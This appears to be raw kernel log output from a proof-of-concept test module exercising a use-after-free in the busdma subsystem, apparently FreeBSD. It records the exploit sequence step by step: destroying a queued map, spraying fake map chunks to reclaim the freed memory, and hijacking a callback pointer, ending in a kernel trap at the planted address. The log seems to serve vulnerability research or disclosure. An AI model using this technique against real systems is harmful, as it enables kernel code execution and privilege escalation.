busdmauaf: unloaded
busdmauaf: POC_TEST=3 loaded
BUSDMA-UAF: === TEST 3 (panic: evil callback ptr 0x414141414000) ===
BUSDMA-UAF: tag=0xfffff80117b10828 (private zone, 1 bpage)
BUSDMA-UAF: mapA=0xfffff8008d3b3670 mapB=0xfffff8008d3b36b8 (zone now 2 bpages)
BUSDMA-UAF: *** HIJACK PROVEN *** attacker-chosen function 0xffffffff82600000 executed, arg=0xb0000001 nsegs=2 error=0
BUSDMA-UAF: mapB load -> 0 (both bpages active)
BUSDMA-UAF: mapA load -> 36 (EINPROGRESS=36; mapA queued)
BUSDMA-UAF: bus_dmamap_destroy(queued mapA) -> 0  (0 == FREED WHILE STILL LINKED ON WAITING LIST)
BUSDMA-UAF: spray chunk 0 == freed mapA (reclaimed!)
BUSDMA-UAF: sprayed 1024 fake-map chunks (72B, callback=0x414141414000)
BUSDMA-UAF: fake map written via dangling ref 0xfffff8008d3b3670 (reclaimed chunk)
BUSDMA-UAF: bus_dmamap_unload(mapB) frees bpages, waking the FREED map ...
BStopped at      0x414141414000: kernel: type 12 trap, code=0